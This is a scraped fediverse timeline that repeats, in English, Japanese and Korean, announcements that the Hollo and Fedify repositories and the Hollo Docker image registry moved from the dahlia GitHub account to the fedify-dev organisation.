The #Hollo repository has moved from [@dahlia/hollo] to [@fedify-dev/hollo]! Along with this move, our #Docker image registry has also been relocated from [ghcr.io/dahlia/hollo] to [ghcr.io/fedify-dev/hollo]. While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address. To update your Docker configurations, please change: - From: `ghcr.io/dahlia/hollo:latest` - To: `ghcr.io/fedify-dev/hollo:latest` The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo: #fediverse [@dahlia/hollo]: https://github.com/dahlia/hollo [@fedify-dev/hollo]: https://github.com/fedify-dev/hollo [ghcr.io/dahlia/hollo]: https://github.com/users/dahlia/packages/container/package/hollo [ghcr.io/fedify-dev/hollo]: https://github.com/fedify-dev/hollo/pkgs/container/hollo https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
The #Hollo repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our #Docker image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.
While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.
To update your Docker configurations, please change:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestThe migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。
旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。
Dockerの設定を以下のように更新してください:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestこの移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 
#Hollo #fediverse #フェディバース #Docker #ドッカー
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。
旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。
Dockerの設定を以下のように更新してください:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestこの移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 
#Hollo #fediverse #フェディバース #Docker #ドッカー
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
#Hollo 저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.
기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.
Docker 설정을 다음과 같이 변경해 주세요:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latest이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
The #Hollo repository has moved from @dahlia/hollo to @fedify-dev/hollo! Along with this move, our #Docker image registry has also been relocated from ghcr.io/dahlia/hollo to ghcr.io/fedify-dev/hollo.
While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.
To update your Docker configurations, please change:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestThe migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
#Hollo 저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.
기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.
Docker 설정을 다음과 같이 변경해 주세요:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latest이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。
旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。
Dockerの設定を以下のように更新してください:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestこの移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 
#Hollo #fediverse #フェディバース #Docker #ドッカー
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
#Hollo 關聯 重要 消息을 共有합니다. 貯藏所가 새로운 곳으로 移徙했어요! #Docker 이미지로 使用中이신 분들은 確認 付託드립니다:
https://hollo.social/@hollo/0194aa7b-017e-74e7-b97a-f91bb6c7b8e6
hollo.social
#Hollo 저장소가 [@dahlia/hollo]에서 [@fedify-dev/hollo]로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 [ghcr.io/dahlia/hollo]에서 [ghcr.io/fedify-dev/hollo]로 이전되었습니다. 기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다. Docker 설정을 다음과 같이 변경해 주세요: - 기존 이미지 주소: `ghcr.io/dahlia/hollo:latest` - 새 이미지 주소: `ghcr.io/fedify-dev/hollo:latest` 이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. :hollo: #fediverse #페디버스 #연합우주 #도커 [@dahlia/hollo]: https://github.com/dahlia/hollo [@fedify-dev/hollo]: https://github.com/fedify-dev/hollo [ghcr.io/dahlia/hollo]: https://github.com/users/dahlia/packages/container/package/hollo [ghcr.io/fedify-dev/hollo]: https://github.com/fedify-dev/hollo/pkgs/container/hollo https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
#Hollo 저장소가 @dahlia/hollo에서 @fedify-dev/hollo로 이전되었습니다. 이에 따라 #Docker 이미지 레지스트리도 ghcr.io/dahlia/hollo에서 ghcr.io/fedify-dev/hollo로 이전되었습니다.
기존 이미지 레지스트리는 계속 접근 가능하지만, 새로운 태그는 더 이상 추가되지 않을 예정입니다. Hollo를 사용 중이신 모든 분들은 새로운 레지스트리 주소로 업데이트해 주시기 바랍니다.
Docker 설정을 다음과 같이 변경해 주세요:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latest이번 이전은 프로젝트의 더 나은 운영과 지속적인 개발을 위해 진행되었습니다. 원활한 전환에 협조해 주셔서 감사합니다. 
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
Holloのリポジトリが@dahlia/holloから@fedify-dev/holloに移行いたしました。これに伴い、Dockerイメージレジストリもghcr.io/dahlia/holloからghcr.io/fedify-dev/holloに移行しております。
旧イメージレジストリは引き続きアクセス可能ですが、新しいタグの追加は行われません。Holloをご利用の皆様には、新しいレジストリアドレスへの更新をお願いいたします。
Dockerの設定を以下のように更新してください:
ghcr.io/dahlia/hollo:latestghcr.io/fedify-dev/hollo:latestこの移行はプロジェクトのより良い運営と継続的な開発のために行われました。円滑な移行にご協力いただき、誠にありがとうございます。 
#Hollo #fediverse #フェディバース #Docker #ドッカー
https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14
hollo.social
We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev
We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉
Here's what moved:
All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.
Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!
New GitHub organization: https://github.com/fedify-dev.
github.com
A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.
#Hollo 關聯 重要 消息을 共有합니다. 貯藏所가 새로운 곳으로 移徙했어요! #Docker 이미지로 使用中이신 분들은 確認 付託드립니다:
https://hollo.social/@hollo/0194aa7b-017e-74e7-b97a-f91bb6c7b8e6
hollo.social
